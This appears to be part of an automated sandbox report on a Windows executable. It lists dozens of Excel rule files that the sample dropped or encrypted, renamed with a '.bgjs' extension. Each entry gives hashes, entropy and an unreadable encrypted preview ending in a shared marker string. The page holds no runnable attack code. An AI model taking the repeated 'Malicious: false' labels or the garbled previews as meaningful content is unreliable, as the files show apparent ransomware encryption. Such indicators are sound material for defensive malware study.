O.y,Y.W.4..M........F.J.d:.T.?......-/5`.V...s..OPd(<u*..O.K..\/q..Tk.......@<..s..2.j.-D.$.rV..n...\|6m.T.j.o)...\.y....E..#A.T~i.D.....RL...p.aq8........(.....m.G..G.'sr.v...X7...S......h...R...}.`..g.........l;..f@G.7w..u...k.Q.v..M.O\_..VN....!....5..O.q...S...5.^.F..Ny.w.lD.7..j..k9.s.B....Y..$...K..k._.~.pU..DM.3..^......1...?T."..'e.L....7.....t

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.762402624818882
Encrypted:	false
SSDEEP:	24:HMWoe1lW8SAu9KXAk72daeffTAdD1Tbeg23QDisbD:sK1hucAk7yaeffTArTbeg23Q+mD
MD5:	6872EB8A755D7EBD49B7AF3255FA9889
SHA1:	D8001A1776E9BB00E947A651158FF3E4D837E795
SHA-256:	968A824B34884A6533CB1D3D63719DFEB416168DBEC4391236F8B7DA072CDE35
SHA-512:	C7FEDA02587FEF91394BAFCFF5C1287018B56829C8E30FC299D94A2B6A952104943C6ACA7C6A2BA1E8401F8F0170A96F8BC64FCEC74315299E3D67644E685A57
Malicious:	false
Preview:	<?xml....i.;8.1.eF .yB..-.~df'.[....u...X...8..Zi..d..N..5\\.@.u..!k..,<...&........-P......Vxi..[.-.lAi..J..~.....C3...3Ys.o..+..}...pO.x... ..Yh.p,...,.......j..i...?rT6R%..\|..2/.."..n....=.uD.............B.._...\|....Z.2.`.o...."P....uY..IE%.1..7.2..].;.M.."D)>.=.0.l.T.6t..8.....q.Z\|{!..Q{....`.........I".5T...........\U._.!<.X.<........R6..^qW}<".=..cM..h....+..1.L......3..L........5.>......w;`....T..RR..$.....6&7...?...{@:A.6..Pd...Q............rz.....Hw..9...JX.\|.O...<$L_&.........s%......P,6..A....K.X.E&k..}....Y....}!..<m.M. ....n.]@=]%q#...$......)b...E.Fz..d....\|....z....A.._...i...d....W.?\|@Y.HL.z.Pqw..V#.C.u,6py....}}liW...x$Vp....(5U.X#{[..s.Y....&.-Q..RGD...7m..-.K.A..?.....eyat...(.@.......j.]..$....h =e......X..Du.:u.j...iW.../...\Y........^.....w.}..k.a..h...h...(.. .o.V....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.716424763572987
Encrypted:	false
SSDEEP:	12:Ivgfdw+Uu2xX0uX9pJx9FsKvYCK9PIfHoBwJWQUIK/xlQv5i6UQscii9a:IE9vut3FjvmaHoBwJuQvYIsbD
MD5:	689B2389211264DE9BAAA3CE2989C937
SHA1:	34F75CB7074DE210AFF8220CC235AA13D5C15E6F
SHA-256:	558DD671CA973AEB1CCE137CD139D3C8D685EA65C0A9ECA225D9308D44A4456C
SHA-512:	D1B8DACFD16BFB368ACDA3B7A773376CCFD098271FC766E7FEAC0B174DF91709B43CFA99C596FAFF316132BC23E459775D7E888D3D37409AA8FDA583745473D8
Malicious:	false
Preview:	<?xmlu.....v....F.g......N.:..[.ON..Y.x.".tq..u........./......Y.....5.....7...$>4eH(m~vp...u.......1.].A"......-c.x.$K..@.P..K...wh-CL)...A..1.1...<.(}.60r}......@.S.k8~....<..i.E..V.$...l.I..6...B.G...r...(-...P#m..zu.......o..aT .u>.eM....,..b.6..Z..j...L..;.yF.uRU_.4..Y\|K..=4.)..\|.......8%...].....'.....k..a...K....:..u.#..N...I.e)>.l.'..+.Wu..6.i.e\|."".......*.0, .Xx&...h6..b.N........b.nX_.S.......X.+...<..(]m...O7...`yaW.p...:.D.Cwk.Dz/..._(."..V..R..N..s..Z.......N..{..q..`...D.4GX..%....[....v.yf....K[N.t.sf.g..&......:..u.2.U...hA.i.wX.P;...E:.\|..1ZiJdx..1)i.i...%.{......Ge.0.=...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.738466681439567
Encrypted:	false
SSDEEP:	24:0/0HUlCd78s2QXQxR0vzY+PdZ+l0F9ZFRpsbD:ilC6srgxROtPdqgv1mD
MD5:	F681BC12DE8C6CB6F4F2F7A9525E95AC
SHA1:	E98601C2A947CD95B696EDAA0AF67BECAFD25B30
SHA-256:	233A9CDE2583320C4F954BB080B8E875BD302F0E2AFE2C7E2A94708BEA550F2D
SHA-512:	E643A61CA93A83612F502394ACDCE5117244CADFDD76062B26A1AEAA5043DEFEFEF37705E71AF6F861A361BD12853D6BEA710B278DD74D486BA19C6591D84537
Malicious:	false
Preview:	<?xmljJ..?.\|....3....u.~..-.V.....nr........Z...-g4.k~<.8J..zH....x....`...G.1yb....#...i.9..-v.._W.#...........)V....>O.."G.#.%..zX.k.r..f.>.#.!.TQ.+..h......yA..,kfj.>yT@...Z....A^....+..3.W..!v.U..^..a{...dS...."{1&4ec.N..........y....&.#..R.7..7E..E.\|..Y:....G.5Y..b!...Z.........`$)4..2.=.hw>...;....)H...C.h.t.qan..mQ.L..=I.`...}bSd.Lq.H6.jU.K-.^.1.nk...p......k.p..q.J~..CK.F?VO.0..vr9X...q..lac.&....<.l.....f..\|.....\1}...e......^n.2...>K..p1A....8.L.....TKZ.H..;k....b....Z../X.{..../b...gBM..=.....l..\|.,D..L.S.L(...........w..g..N...n5.2Q0N.N..=E..V~...Cg....4....f...,.@4...~.p..=....\...Td...x.s.u..m.Jp9e.J.{.Y.vK17.9.4....:..kx....\._K....b.t$..#c..U\|...8.\|.c#.."..7..L.9....T.A....+...].6,Q...L?Ud..1..]r...+.Y.Jb5.5..._.Bb..<T..W...eY`.0..#...L)..G....M4f.l._.Bu.......Gg..s>..l..V.a^....6..l8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.7639006580632035
Encrypted:	false
SSDEEP:	24:ECcTmjZ3fSQDhybNj8/LLcVdtaQJiOkQfS1y8f3sbD:eAZXwJw/nEdnEOnfSRPmD
MD5:	223BA7FC4197B1A7A4C3DF21D640020B
SHA1:	E14A45AE6E21F706A5F15A557259CDEF39207A07
SHA-256:	E08DB6FB960E12D6D8AA54EB7B2D0A83591BAF5DF58BE8CA031F43114A858392
SHA-512:	CC4893F2FD0FAB45BFAA1DF5E33E5F8A7B07EEC9E47BAA068AED193C2213997D8C637515E771D6D7EE1CB59C0ECA1BDD76D1854129D3C70236FFBA1EDFCED841
Malicious:	false
Preview:	<?xmlX.L.z..X.b..2.H.a._...2.OG....)..9^.}...(..E..,Z.......-E..Bc.....$.......m..]'.......^...d.c..>...^..L...49....Qq%=.6.s. 3.V9x...&.mY..3.nJk."..}......&.&..w .[8..im>.grhx.D..z@..'.5K..T..9....k..Jr..g`......5.]h.%d.j+jB..f....f"GDl?.....?3y.i...\...........`??_.....'.D.a....JJ6E..,..w.}..Rg@.f.o.\|?5.hU-....R.8:.et..-.m..I.".3.......e-..~J0....T?#....c........`.6.D....$.6.3Nv.t.m.H.w....1......\..N.`....B.ZHq.d...;U.03Z.3.y..dc...)..ym......+S...tB.]..7.`..N....B....(..;...7.f.4..%..,y;..c.s.."N.q..}>J[$.J.l...q_.)d..@.........PN.XhO...#.L....#......\.b..L......f....g.<.......v..`..F&....Q..h...L...;...8..u..<!M+c....S..J..E...1..i..\|....q..1s......wE....#Vh.'.~...m...7t...\|FD..*...GZ..~@E....B.C..>.m.i.t.kr.....H.._.)....../..5.X.....lI.n.:.=U.K@.Q.0$."4.....y...}....w.o.......:0.e5H.........Q..?...`....Y.^4.V.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.761968277855139
Encrypted:	false
SSDEEP:	24:MUfGDY2LvNCwCuTG7bpvF+4e6Wan9iroVhPqfLJsbD:JfGvsuCvczan9iroULJmD
MD5:	69C2807347BBF8583B370A473462ACA2
SHA1:	CAD6C8766CFEBF839D152026F2924464FE68E71F
SHA-256:	A1241DAA4B4B5C6DE684476A6772218B62A443CEF2E9247DE72D5337FC328200
SHA-512:	96493E63550CB69A8F8BC6EFF46E0B51BCF7417E6506F4AE2FC347B4BA6956CA7B3FBE71F0C416E2E227102FA9C62B982D7DDF2080B22EF105E710BD6D43F3C3
Malicious:	false
Preview:	<?xml......?....h.6.S..y....P+..=......t.....d.A...g.m`mfZ.%.\|@.S...b....?..n....~\.m..?{.......Id.W.n...8.;A...#..2~....0VG.Usj.@..F..C? ...C.'.."@.~=.I.s.....ko.5t........;ge..A%4....s.....`..)y.._...?.X..#%.6......6".7M.K.7..Qv.j... .#..rh.>...z\../..8...d.{.]....5.0..Q.f...[k....'.C....'...&p.W....L..p....$...`...........[..FNQ............&)z.8`...KZ.N..p...P$AD.. w^}...6.=.1..s...e.B~.`P..'N.%..=If.;...7Q./....&U..5A......V...M..ih. 51HQn.1.._.A.F..X]... [X.?.H....',.!..%R0.>f.\.+n.{.(.!..C..h.+....B...u;:.V.......i....;......m.&U..bKF........`$......r......D..@..x........3*.5.ZA.02.\|.!.WW.\.H../x......\;.W...'....L...K.x..4.mS^.@;.....R....T.....tV?.L.B....d.e.@...1....pw{I5wU.Xr...".......j.<iU..x......B.......1y...Y...J..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.733040548512601
Encrypted:	false
SSDEEP:	24:4tCwKdyPHwXmfDoUSxOS3DSa5MBlDyU0bRkdihQDsbD:mPbDjS1Oa5wyoVDmD
MD5:	9E465629E071F97C30230471EE582EE4
SHA1:	D742FC7551E8E7E39D30A211F3F551C2CDFCEC42
SHA-256:	9F95BE7DC8536CA2592EC1784DDD0E96AD1E3921ED307759BFEB68FFF373CFD5
SHA-512:	A2CE7F30B6076132522560C6723F0FABF8E64E71F1502C8CB97C72F85B0FC9D1A3BED4AF9FE3690FC2CEDAC0D76FACBF4A945B4EDB7C4EE337BFD6AFAD88CDFA
Malicious:	false
Preview:	<?xml$.4.3...q.2....M#.Y.t...M4`hH...(._..Wz..f.%..}B......'..~z..x...Y..'.1..3..[.Z.7...Vu...rJ>.nB.ylq.1.D...Y.Q....g...t..M.".s...0...7..F....Mk...().(...}t.Y.....M...=....H..N.:...P.b.M8....+F.A...#z....y.......\|...g.2....#..<.8C?...6.C.QA..;_m....D.N.Yt...}. ...B..X..7.....i......w...c.M..l....t;H.B..i..RB..."..b!.w...u.H..D.F.w_..V...]..../.....X.\|.P..9./.CZ.g....(......U^l.....h.............Q.rz.}..v7\........r.....p..lm.rN./.......n18.....]EX...E.}<sb....H /V.p}#.....:.{i..B....Yri..lt..Xaw..t<............... ...nT..^u<.....y&....p.!.8.6.._..?../...u......;.E...@:K$..e....rhM!#..k.eU5.......=1....g....r..Nu..{.e/..)4;..GAj.E6.5...gi.,AI.Z......=...Rc.....n..`.d..@J..#..y?.{k.......3.....Gds[.2,...!K:.OCfS....$..tF.........KPKd.._.G..S...1x..g$U....6.2....k..MU.f,c..<...2kf.3..~.z#...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.755234760793473
Encrypted:	false
SSDEEP:	24:FdjPPbI6f1BL8/EMP0qRAJocbFTVHTaYOsbD:FdjPPbIKBL88MsDJocp98mD
MD5:	6D417818A9DFF4538B186096918C812C
SHA1:	2F6D39D8A5D04B16E52BA8A19DA47B9D9D0A5762
SHA-256:	B86D743B508D4E95112A6AB442AB00F878AFC5BA788118CD14ABB906A46BE005
SHA-512:	FAA66138BD415953D5242535C441473137C040BEF16E23FB4140E0A75D493B920A51DF8589DBF6B597A465D3A748C15583BEF1F5DB3C02AF9AD36BAFADFAA9C7
Malicious:	false
Preview:	<?xml.C..[.....X...z..5..8.i.......Lq.=.!..u.....}N.qJ...y@m~.XKm......g.F `..@^........."._.....h?.O!<...5.1)..9[tn...V...9.;.I...z.........mG....o...-.%.`,....A...\|m..........%i..&.1..........`...B..gk......,...9....k[..P].~$......x.q....Q..-.. .i.?.F.[Ks.P3../(.......8.,..n/\|.l...#i..0.!..:.W.+.....Lsbu?..u.]g.U>."[..aZ].6.....U-Z...Z'....<...-........H...>.v..Qo.......p._.._..-r.>.6!.. .....BU.P.....^.....,.&9...l.'.0!..-.61k>....s?i...u+=..311....a.r..E.)N4(r"..E...61f.1.....,..%.4^...Y.?@.Z>..m.....t....u.0.m...c.,...t.../.....\..4.6o...g_..&~....f.},..{....^....v7C.............{..U......f.twl.d.\;?.o...._.(..h....%^.b..~d...../X.1..H.K.N.2...2.u0M"O^....:P.B;..].W:V`.?....d..}.A..!...e..&[....O]...IT.jMl#.9.rg(.<.......4..Y...Y.x...6.(....R..:.!KS..HM......B....p....i8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170133v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.726077145960048
Encrypted:	false
SSDEEP:	12:Mv4uwMnT2ffwLQYAWQUwUVfvBtgey98m1/OE6Op1x/V9poQYK2tbc7su0vaJQscq:MvdwgqffwKWDDpL+O8JxZtuYL3esbD
MD5:	B51DB0B50A91EE2B000357935B0B72F8
SHA1:	835C50C7787103E97FB3D12C22EBFD5F41AE2E64
SHA-256:	8906BAE22F83E57ED06DAE2EB520506B49A1687B9C9585915B49451B7E838519
SHA-512:	12E13E05B30380D31C9D2C9FA71B0803740946DD91B2F0AE2C05D6723BB0F6BDB2245818E3F3BF9E96F2CE81D20923625C51D729E215B0E813F7F95D23812B45
Malicious:	false
Preview:	<?xml.Y4..+.%-Pq_."8....@....=...r........}.7....k....H.p.9.... .Ja.'......:1I.7W0..h d...A2).fJ......tPg}.KS...eS.O....JwFM$.....bM.... .........'..t(Q......@,.p.Y?...:i`-..`n..E..3f}.M..!.jP.N..g....8..B..V.u.Ty...;..A{.Y#..F.R[...~.......?...,..p.......[...a..:...k.d.b'u/Hr.1..0..o.m...k..#.....B...\......~_...$...gZ...^G...zB...D....K..}.wZH.Y..O......;VM..K&MIU...A...2.@..@.......8uG:`.b).nKn...<.l..xx.......R...>.'..Z...N.d.;.T...*i..p.n.Ci.).w.cX....+.@aQ..I.(..T[O..&.nj...}......Z.;x...H...r.<..S`..H..H..:...6..j.ZF.^..-.4......r./a..B.n...E.....6...r@3.S.^.I.r...}.0..&...q....a.\..c.AEz...:..n.?.U.U.L.K.x..=LK..V..P...5)K.....L.n.........$..9..B!.TGPlY...`.4..f.?n8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170134v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.708024060502882
Encrypted:	false
SSDEEP:	12:dFJHadqRmmlC8xgOSvLq1IeNSB8+wUmsaSO8ZsuGkpiUatE0ewry4i7oQscii9a:/W6f/xgOfWdGqs+platE0exrBsbD
MD5:	F0EB7960FEAE79D16D6D6F5B9232B36D
SHA1:	DC23A213316EF263B3885623A628D24EF1CC4D36
SHA-256:	A44E3682C1CC11C8518248B57411C4AAA9793F98CB0A12D30EA19C8C5F6EE44E
SHA-512:	C0913B8C2DDE4404087767812E8589A12BE336C731C818884C65F4AC09A6BBCB4EC75EA4571792536DCC35012F1F4323CA007656D91CADFC55BB71D2E4A7BDF2
Malicious:	false
Preview:	<?xml_..q....O......_.....4..+.W...p..7....q....h...n1.@..r]}.1I.y.B.2.Z....t.grh..F........2...d.....H.[.u.B...m..[......z..h.=.k.C..M+L.FM..&D3M:...s...z{.zo@....-.&.E......Y..)gt...]..I#0..@B.)..v'...?..+Q6Q.....5}...[i....Z.%..............'......8&...C.\|.GU.6.{.i.$.@=_o....iW....!..-.........j..._...-.Q..bo._..z.Q. 9^.I.. ..v...jB.r.t.O>.p..`yRR\.)..K.^..}V...n.Q. .P.....[....WN..`.l...-.+....~.Ji.F....LdQ.. n....K.Q/...0.@8.U...&.'.V3.nh.1..z.N...mQ..qug..<V....-.jvj....O.....Q..c..N.....PKu].8.G.&..g...S..'u.W.....\|...~P.7.N.C>{.b.3.V.t#S.....5...*.....qlT.4...u9'.m..\|6vKG.s...r.q.g@.^q..s..G.'...q..b..<m....e.&....H..........%....z.1..\.iN...z..>.O.Hj.I0....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170135v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.764146126410712
Encrypted:	false
SSDEEP:	24:3jGAXyubIL+0fSfFR7wUAQ6LpDQQkjkQFXfefGYNTiuUHsbD:TXXZkSfDsQ6RsjHFXY1gHmD
MD5:	330A55FA494C689C46DF0076268CAD9B
SHA1:	09D0E1E8E9666602D284E91C5FC3BA7980889F60
SHA-256:	FEDBB7E4A36F2318BFEE5E1328DA5E12998455133EFAE49565DB3C7B113AC5ED
SHA-512:	34A2045D5B63D857E6D95CA1D00CE1C6198F9CCD9B585FE806F4603FBD583297BD69BE1D53DF3E902A31255D70115F6F380BDC3FEECFC2B34BE18620E69202C9
Malicious:	false
Preview:	<?xml/D..........@...B.N...Lv.[.{...O....r:..2...._..n.?..XA..b.M+G.C.N.f.U.j....-..+.i2....p...rW7...n.. .K.F....., ..\|.,..M..u[3..c...H2J....<..;.\.G;.g..1=......Z.e.XR..:...5....m...>b].,.J.L....g9v. ..a.w#4>'O.Cj..q.&.L(..F...""m...@...F.g.6...X.G.Np."...{...F....."q<.y#i.z.:...1..:.3......QjQ.hq..Z......Qa..`E... ..w.Ym.~S.....G.%S+.' Q.O(e....F_...W.....I.~%4z..Hu/Q..{.,C{......t..O...A}r.xT!mk0D..c...l..xIY..rr.-l...h.d%.....\...uV..".@..,....D...<}.e...c..\|.uE.....2..0.)&C.X...._d>......,~.F.!...-.u..Y..pr.vm.........L..N`g^.Nuf...g...8_.p..s..s..33O...p...O.....CJ.....v......^Z...8.p...]h.7.D....+..a=...i........j....I..;).n..5.....^.6....6o4A4f.C.o/.d^..x.,[..cS....rq)^..YL.s.f.`.....v}.6}.p..\|.G...Q.(...L..J....q,r..O...?..~.q...<]X...9.)}.....P.;..j...ss...\R..:3.:.W..o>....B\|N.N..=#R..du...h'....e...z....u.......$.Y;....~DH.....J.B}......Oq8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170136v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	996
Entropy (8bit):	7.757740524161228
Encrypted:	false
SSDEEP:	24:H9pUiUe1V9XHav79+pNyko7cK2CTchoMPKshzz/N6KzsbD:d9zD3W0eTOuSKQ1mD
MD5:	DAE30CBC69814D253063E7CEDB6841C9
SHA1:	B1AA5D88FAC98B10A9ECF7185E83F055C2F52EFD
SHA-256:	A9CDEA0142D7F6066BB1E18AFC7269341005AB2226617B7FDFFB2B6A6282E4B4
SHA-512:	1C49FC605889E490CB029952D217C210FEB637AFA00336C41A01BDEDDDA911B65982A0413BA8AB9AAA9D820007D05B43D249723E4EB13AB09883EC4F9180BE29
Malicious:	false
Preview:	<?xml.,S..ml....t...u,.mF..].5.O..3..X5...J...k.S 5f.OZ......(..F.Y.D9.t..$.%....LB..$....E.55<N.wz.O....h.i.q$.p.N.5.U...V.+.t..5...I...U..836X1=.?.p...J....]..aSE~BG...t.R{..m..d......P.w.=.w}.}.o..}..V.n....!.XF.l.\#._............]~....Iz....].Ho......=..W.V....H..7Gl....q.......p..{.....4;x...pN......._.5...C8....!dp.Z'&Y.8$..k.73........h.63...(.5..{.9......J9Z\|..~....:..WD.X.rK.q7....B......Sy#5.B9?9(.3'.l>?.....[dc.7.%'.B..,.....&.......o..b.@.gu....,6.....~o1s....q.)..?xC...6......8...$.R.t......].....~R.@4..dz.dccg4u`...\..eZ{..c....w^..@....-L..78Lv.Y.Yv.5.uX...wXK..Y...vWv...5U.G?.Y:>m.6..0.%.v.....L(...[.n...Kr6 .. O..rD....B.CH..H.e..(..P..8....p...P...j........J..V2v..i...B. ...... @X.S.......OOO.9,......m~.a.......w".B.2.%.T..........Q.3.........Vl#(.h.U....{e....PF..+....F Z0'32../..K.,}t4..u.*#&Ba.!.......8..d....a...3.....?X#.M.+gJ..O^8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170137v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.789742122004525
Encrypted:	false
SSDEEP:	24:GxU5k6Dw/CW6YYc3YoHG4f1EFUUmYHXyhOsbD:1jDwMq3nHGSEJmYHGOmD
MD5:	418E4CFC201BADDE6E93600676F2E4B6
SHA1:	6F62DC0D6434F2AB344E3B5FEDA3B98584B4B1E1
SHA-256:	6C9270B87B9947F0ECD9230C7A6B2BA8CDB80A61626F7AF187A9CA5B95BD1FF8
SHA-512:	5D8A62098633DC958D11A19B86DD48B3D7085B7CA67C7900CD4772B8267AA1C082FD89605A1D840483E73EDAE615FCE348B976814E84BAC1A3308297B5FB8600
Malicious:	false
Preview:	<?xml..<......2A.K+.v..h.P.1erb..%...&.0k......[.1..F.k....H...b3R."9.`G.A\|.....y...:......d.d]...aT...E...Z...9$..c.. ].....o.. W."@E/.."h...f<$."..x.[....N..B".j....}....}.I..E.Y.{..ylP.............8.....F.'e..../..\O.+P.@...N.J.R.r..s.e..8.y.B....Y..j............~.a.Jt@$.....asf..1..7{.T.....?.T..`..wF\.d.#..Q...:.y...l5.U......]Kc6O2..m.:...1%G..r..u...hJ"\|.r....'pX.......0. .........s..w.E.Z......$..Zc...".A.9.?..\..h.......X..u.D..J..iP.m..]3...M....TP............l..R..&...J.)..u.g.nqLL....T..]*..h....!...[A......x/t`.m.. {.J..\.X;.....V.h..MnkC....._...a...<..s.....'....js.PzH.(.....`.Yz_.3.F..............?..#1...E./Y.....>k...D..m..-.!...m^..,...~.5.7..}...VP>.............I....0..+...\....@....C&i...-......P...$?n{..yJ..I.....p..H.54.........Sz7...>..O..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170138v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	799
Entropy (8bit):	7.714320360285796
Encrypted:	false
SSDEEP:	24:B9MvLwpncCtzLqHe1Gn29GpZqIWfyl+osbD:B9yLqfNGiG29GpZzWqzmD
MD5:	DB96E1F616A8EEB2971D0BD880943927
SHA1:	EFF9AEBEBC307E00DE6FB77A849935DE07CB079C
SHA-256:	EBF6332646FCB50EC7054FF04C557D847B682CDF8E923AAF690F279B449594C9
SHA-512:	EAFDB18FFEF7DDE0485EAEC77388BE921EF8F4A182AFDEB90C71D016280642101C9928ACCB4E681EC859FCA7F45D2BD6D5319E37070C74D023A80BD3FA8EC52E
Malicious:	false
Preview:	<?xml....._.zrl)....!..-..\|P......Z.[<)9...$.....p.Oo...r.0g.f....L.cT.El.L...@........f.7./..C.-.[.i./.....=..T.P.. b.p4..{>0......wA...D1..U.~...=.....3.\JDn.............~-Ru{...p..nPLF.I.iw..4.Q....r....?....y...\.[R=%...X.N...@4.......9..#.l.....,k(pr16..q.w...c.W3FD..d....Z.W2..\.15M'3.@Ga.+.._.......\|.n.P.=4..B....L.@1...k_y`..4..3.. .....&...:.`l.!.....x.p..t..O....&}..=...k...(dh.........W.d.)$....A.AtId9Xcs...+t.....@.......z6.Of\..5...>.w...$\<...gEQ.2......}.......Ck.=4...a........../.g.....DR.3....u8..1.Rf....n1.....(..c.X79.d:._DKtI.lD....A.}.w..v9..U..!.F.....C.u>7.\|B....W....p..q...u4..L..p..............] .#Ll.z.&r...>.\&.gxG....aU(a..........k. Y....`....fN....N.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170139v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.748551401171968
Encrypted:	false
SSDEEP:	12:WjDI9oonPQoB0aIuzAnXbu0p+tEt1wuG1rzWm3ujJ02MYpA0KmJmnxQscii9a:mDI3QpNnLaKi1raj62MYi0Km0WsbD
MD5:	E730E1707DC8638745B56334502289E0
SHA1:	87E2420ED8B00BCA0D26FD5BA387FA3335A8FBA0
SHA-256:	50C354163B4806254B9A7DAAA45974BDE3DF40ED578DBEFBF75C41EDCB2FCA14
SHA-512:	724E4107A81D05E05BA6F45C389EEC91DDFF7A002DF5C41160C101C24AF108EF771A23590779DF58C672FC8A2D11677DF36E1234B8E761A9B7729704B40281EB
Malicious:	false
Preview:	<?xml..!Ja.,3...3B..^$.`.?K.-..(.....Y.....FX..}..t.....[Y.o...+V;..%...quH.4...K...a..-.G.w.......5.0.R..s......+` ..W..a....C8......oj......[.;.E.-.P..:..r(.N/...K....\.....C...#.W...7.B..........l\|'9..a.....;.....v9.H!b".....W\.i..y.}....>.F.-~......v..I....b.......Q0~S..j......k.g6.{.+f..8.eu:,.N.....v.....;b.z...f._..)b.J.."7y-.h`..Mv'..'..m!^.B..v....-..t.....:nW.......oUVA..#0..sY....s..M.}....#..K.0.z.b.....?.....q.A....?6.o.Pu*B}..!]...._...F1.[...k..6...a._v...x.,G.....<u..9.46._.\|.4.......F.....7...L....!@4..`f.....M..v!k.@!...E..<$R..5.#.......?Y.$/.RC.Y..`....E0A.@.....L..n.....'.Q...%. ...#.f...I.D......&m:r..Ea.E].I"...).}./...y.S...\|....~..>..OdK..PPA.2.).:.'8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170140v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.729034752442367
Encrypted:	false
SSDEEP:	12:Ye9FUTVzOnaclFryC6NEhYKgF1CysKxS+KngUhvrFtXG5fuZiPbE1Rt719NQsciD:Yea1OnXlNy5cYjoKx1qvrFdG/yIsbD
MD5:	9701B5AB21065B23370BA6FD9B05764F
SHA1:	FDD7D41F293CFA1E0CBD91D0918587B6B7B05AF0
SHA-256:	2098B500CA9F6B9F1663469B2EB8C542F881EE6A78CD20688EE1D3662891A372
SHA-512:	359164FC4373D3945BBF90D3C008B0C7D738F29E53A93D2D868982A4CB43CAC05551F7E3E8AA9302EC73D8F8C7DB56C5B640699B0619B8B9466FAFADFBF1FB65
Malicious:	false
